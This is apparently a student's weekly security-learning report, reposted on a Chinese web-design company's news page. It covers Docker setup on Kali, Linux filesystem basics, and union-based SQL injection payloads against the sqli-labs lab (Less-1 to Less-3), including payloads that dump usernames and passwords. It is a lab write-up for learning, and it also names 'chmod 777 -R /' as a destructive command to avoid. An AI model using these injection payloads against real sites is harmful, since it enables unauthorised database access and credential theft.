新闻详情

新闻详情

首页 / 资讯中心 / 详情

第二周学习周报

发布时间:2026/9/27 3:42:58来源:尧图网络
第二周学习周报
第二周学习周报2026.9.21 - 2026.9.26本周主线Docker 安装与环境配置 → Linux 文件系统基础 → SQL 注入实战sqli-labs Less-1~3目录一、Docker 安装与环境配置1. 安装位置选择2. 安装命令3. 镜像加速器配置4. Docker 基本操作5. 踩坑记录二、搞懂 Linux 文件系统三、实践内容1. Docker 环境配置2. SQL 注入基础流程Less-1 ~ Less-33. MOECTF 2026 新生赛一、Docker 安装与环境配置1. 安装位置选择有 VMware Kali 的情况下Docker 装 Kali 里不装 Windows 主机。理由Kali 是后续打靶场、跑渗透工具的主战场Docker 装在里面环境统一。不需要额外装 WSL 2 后端少一层麻烦。有快照功能装崩了能一键回滚。2. 安装命令sudoaptupdatesudoaptinstall-ydocker.iosudosystemctlenabledocker--nowsudousermod-aGdocker$USER注意usermod加组后必须注销重登之后docker命令才不用加sudo。3. 镜像加速器配置国内直连 Docker Hub 基本拉不动需要配镜像源。编辑/etc/docker/daemon.json{registry-mirrors:[https://docker.m.daocloud.io]}保存后重启服务sudosystemctl daemon-reloadsudosystemctl restartdocker4. Docker 基本操作常用命令dockerrun hello-world# 跑一个测试容器dockerrun-itubuntubash# 拉 Ubuntu 镜像并进入容器dockerps# 看正在运行的容器dockerps-a# 看所有容器含已停止的dockerimages# 看本地已有镜像dockerrm容器ID# 删除容器dockerrmi镜像ID# 删除镜像进入容器后的验证ls# 查看目录结构pwd# 查看当前路径cat/etc/os-release# 查看系统版本whoami# 查看当前用户exit# 退出容器进入容器后提示符会变成root容器ID:/#跟宿主机的 Kali 提示符区分开。容器与镜像的区别镜像模板只读拉一次可以反复用。容器镜像跑起来的实例可以启停、删除。删容器不删镜像下次还能秒开新容器。5. 踩坑记录Docker 默认不走系统代理浏览器能打开 GitHub不代表 Docker 能拉镜像。需要在daemon.json里配镜像源或单独给 Docker 配代理。权限问题不加sudo报permission denied说明用户没加进docker组需要usermod 注销重登。国内网络环境Docker Hub 拉镜像经常超时配国内镜像加速器是标配操作。fcitx与fcitx5区分Kali 里装的是 fcitx4启动命令是fcitx不是fcitx5输错命令会报command-not-found。二、搞懂 Linux 文件系统摘自《北京大学计算机基础能力手册》Linux 认为什么都是文件于是Linux 的根目录/就成了所有文件的起点。Linux 使用/作为分隔符可以使用/来表示根目录使用..来表示上一级目录使用./来表示当前目录。需要注意的Linux 的文件系统是区分大小写的。/usr/local/bin目录通常会被包含在PATH变量中。可以使用ls -l命令来查看文件的权限。常见权限标识符含义权限含义常用场景755你自己能读写执行别人只能读和执行可执行文件、目录常用644你自己能读写别人只能读普通文件常用700只有你自己能读写执行别人什么都干不了私密文件、SSH 密钥常用⚠️chmod 777 -R /会导致系统所有成员全部被视同 root 用户进而导致系统无法正常工作。一般的文件类型只有三个普通文件、目录和链接文件。Linux 系统文件主要目录/bin包含系统启动和运行所需的基本命令和工具。在现代的 Linux 架构下/bin目录通常是/usr/bin的符号链接实际的可执行文件都放在/usr/bin目录下这是为了简化文件系统结构和维护而做出的调整。/sbin包含系统管理员使用的命令和工具。同样的现在通常直接链接到/usr/bin目录。/usr包含用户安装的软件和库文件。/var包含可变数据如日志文件、邮件等。/lib包含系统运行所需的共享库文件。出于和/bin和/sbin目录一样的原因现在通常直接链接到/usr/lib目录。/home包含用户的个人目录。/etc包含系统配置文件。/dev包含设备文件表示系统中的硬件设备。/proc包含系统进程和内核信息的虚拟文件系统。/tmp包含临时文件系统重启后会被清空。/opt这是特殊的软件包安装目录通常用于安装第三方软件。这些软件一般不会依赖于系统的其他部分因此被放在这个目录下以避免与系统文件发生冲突。/mnt挂载点通常用于挂载外部设备或分区。当我们需要访问一个新的分区或者设备时可以在/mnt目录下创建一个新的目录来挂载它。所有的 Linux 根目录基本都长这样只多不少。如果进入/dev我们会发现很多有意思的文件其实都是设备。关于用户切换在终端内使用su命令即可以超级用户开启以该用户为身份的 shell。sudo是以超级用户身份运行命令的意思。通过sudo我们可以授权某些用户以超级用户的身份执行特定命令而不需要直接使用 root 账户。三、实践内容1. Docker 环境配置拉取靶场镜像dockerrun-d-p8080:80 acgpiano/sqli-labs配置 Docker 代理解决拉取超时由于 Docker 默认不走系统代理直接拉取 Docker Hub 镜像会超时。需手动配置代理且代理地址应指向宿主机 IP非127.0.0.1[Service] EnvironmentHTTP_PROXYhttp://192.168.xxx.1:7890 EnvironmentHTTPS_PROXYhttp://192.168.xxx.1:7890配置后需systemctl daemon-reload并重启 Docker。2. SQL 注入基础流程Less-1 ~ Less-3核心思路判断闭合方式 → 判断列数 → 找回显位 → 爆库/表/列/数据。Less-1单引号闭合判断注入点?id1报错确认字符型注入。判断列数ORDER BY 3正常ORDER BY 4报错确认 3 列。找回显位?id-1 UNION SELECT 1,2,3--第 2、3 列回显。爆数据UNIONSELECT1,database(),version()UNIONSELECT1,2,group_concat(table_name)FROMinformation_schema.tablesWHEREtable_schemasecurityUNIONSELECT1,2,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_nameusersUNIONSELECT1,group_concat(username),group_concat(password)FROMusersLess-2数字型注入区别参数无引号包裹不需要闭合符号。判断方式?id1 AND 11正常?id1 AND 12无回显。后续流程与 Less-1 完全一致列数 3回显位 2、3。Less-3单引号 括号闭合判断闭合?id1报错信息中出现1)推断原 SQL 为id(1)。正确闭合?id1) --后续流程与 Less-1 一致payload 改为?id-1) UNION SELECT ...踩坑记录Docker 代理不生效配置127.0.0.1指向的是容器自身必须改成宿主机 IP192.168.xxx.1。VPN 需开启允许局域网否则 Kali 无法访问宿主机代理端口。--的作用--是 SQL 注释符在 URL 中代表空格用于注释掉原 SQL 剩余部分。ORDER BY用途按第几列排序数字超过实际列数会报错可用来判断列数。3. MOECTF 2026 新生赛本周参加了 MOECTF 2026 新生赛完成了签到、nc/ssh 工具使用、源码泄露等基础题目熟悉了 CTF 平台的操作流程和工具链。详细内容由于比赛规则限制不再阐述。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

支持国产硬件的AR巡检推荐哪家 2026/9/27 6:18:16

支持国产硬件的AR巡检推荐哪家

支持国产硬件的AR巡检方案选型,没有“通吃”的标准答案,核心取决于业务场景对数据隐私、环境防护等级以及系统私有化部署的刚性需求。若聚焦于化工、矿山、电力等高危或强监管行业,且要求底层引擎与数据完全自主可控,瑞丰宝丽&…

阅读更多 →
napi-rs CLI `napi build` 全指南:从本地编译到跨平台产物生成 2026/9/27 6:18:16

napi-rs CLI `napi build` 全指南:从本地编译到跨平台产物生成

开发工具后端 【免费下载链接】napi-rs A framework for building compiled Node.js add-ons in Rust via Node-API 项目地址: https://gitcode.com/gh_mirrors/na/napi-rs 点击查看 免费下载 napi build 是 napi-rs 项目 napi-rs/cli 的核心构建命令,负…

阅读更多 →
所有被你仰望的完美形象,本质都是你用对方的形层碎片,拼出来的、用来填补自身历层缺口的投影 2026/9/27 6:18:03

所有被你仰望的完美形象,本质都是你用对方的形层碎片,拼出来的、用来填补自身历层缺口的投影

用可见的完美形,填补不可见的历暗。 一、根源:人永远缺一枚“存在与稳定的印章” 这个需求从结构上是必然的,不是心理弱点: 自签极限:按IT7自签定理,人永远不能给自己的存在、稳定、意义盖最终的章。你能亲…

阅读更多 →
网站上面的体验卡怎么做:5个核心注意事项与流量破局指南 2026/9/27 6:17:56

网站上面的体验卡怎么做:5个核心注意事项与流量破局指南

网站上面的体验卡怎么做:5个核心注意事项与流量破局指南 网站做好了没人访问,这是很多站长和运营人员深夜焦虑的根源。你精心设计的UI、流畅的代码,在搜索引擎眼里可能只是一堆无效的字节流。很多新手在搭建网站初期,容易陷入“重建设、轻运营”的误区…

阅读更多 →
国内永久免费服务器避坑指南:5大注意事项省钱30% 2026/9/27 6:17:50

国内永久免费服务器避坑指南:5大注意事项省钱30%

国内永久免费服务器避坑指南:5大注意事项省钱30% 别再盯着那些破铜烂铁的模板网站看,那玩意儿真不够用。 你想搞个像样的官网,结果发现模板丑得掉渣,改个颜色还得找客服半天,这种体验简直让人抓狂。很多老板为了省钱,第一反应就是去找…

阅读更多 →
天空西游引擎实战:jsc 解密与客户端秘钥提取 2026/9/27 6:17:37

天空西游引擎实战:jsc 解密与客户端秘钥提取

天空西游引擎实战:jsc 解密与客户端秘钥提取 引言 天空西游(西游类商业端)在手游架设圈的地位很特殊:商业端功能全、双端齐,但它的客户端逻辑被编译加密成 jsc 文件,直接打开全是乱码——想改 IP、改配置&…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉